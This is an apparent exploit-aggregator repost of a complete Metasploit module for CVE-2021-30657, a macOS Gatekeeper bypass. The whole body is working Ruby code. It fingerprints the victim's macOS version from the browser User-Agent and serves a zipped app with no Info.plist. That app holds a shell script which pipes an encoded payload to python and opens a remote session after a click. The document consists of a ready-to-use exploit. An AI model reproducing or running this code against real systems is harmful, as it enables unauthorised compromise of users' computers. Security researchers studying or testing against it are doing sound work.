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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021050041

Below is a copy:

macOS Gatekeeper Check Bypass
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'macOS Gatekeeper check bypass',
        'Description' => %q{
          This module serves an OSX app (as a zip) that contains no Info.plist, which
          bypasses gatekeeper in macOS < 11.3.
          If the user visits the site on Safari, the zip file is automatically extracted,
          and clicking on the downloaded file will automatically launch the payload.
          If the user visits the site in another browser, the user must click once to unzip
          the app, and click again in order to execute the payload.
        },
        'License' => MSF_LICENSE,
        'Targets' => [
          [ 'macOS x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-03-25',
        'Author' => [
          'Cedric Owens', # Discovery
          'timwr' # Module
        ],
        'Notes' =>
        {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        },
        'References' => [
          ['CVE', '2021-30657'],
          ['URL', 'https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508'],
          ['URL', 'https://objective-see.com/blog/blog_0x64.html'],
        ]
      )
    )
    register_options([
      OptString.new('APP_NAME', [false, 'The application name (Default: app)', 'app'])
    ])
  end

  def check_useragent(user_agent)
    return false unless user_agent =~ /Intel Mac OS X (.*?)\)/

    osx_version = Regexp.last_match(1).gsub('_', '.')
    mac_osx_version = Rex::Version.new(osx_version)
    if mac_osx_version >= Rex::Version.new('11.3')
      print_warning "macOS version #{mac_osx_version} is not vulnerable"
    elsif mac_osx_version < Rex::Version.new('10.15.6')
      print_warning "macOS version #{mac_osx_version} is not vulnerable"
    else
      print_good "macOS version #{mac_osx_version} is vulnerable"
      return true
    end
    return false
  end

  def on_request_uri(cli, request)
    user_agent = request['User-Agent']
    print_status("Request #{request.uri} from #{user_agent}")
    unless check_useragent(user_agent)
      print_error 'Unexpected User-Agent'
      send_not_found(cli)
      return
    end

    app_name = datastore['APP_NAME'] || Rex::Text.rand_text_alpha(5)
    send_response(cli, app_zip(app_name), { 'Content-Type' => 'application/zip', 'Content-Disposition' => "attachment; filename=\"#{app_name}.zip\"" })
  end

  def app_zip(app_name)
    case target['Arch']
    when ARCH_X64
      payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload.encoded, {})
      command = "echo \"#{payload_data}\" | python & disown"
    when ARCH_PYTHON
      command = "echo \"#{payload.encoded}\" | python"
    when ARCH_CMD
      command = payload.encoded
    end

    shell_script = <<~SCRIPT
      #!/bin/sh

      #{command}
    SCRIPT

    zip = Rex::Zip::Archive.new
    zip.add_file("#{app_name}.app/", '')
    zip.add_file("#{app_name}.app/Contents/", '')
    zip.add_file("#{app_name}.app/Contents/MacOS/", '')
    zip.add_file("#{app_name}.app/Contents/MacOS/#{app_name}", shell_script).last.attrs = 0o777
    zip.pack
  end
end

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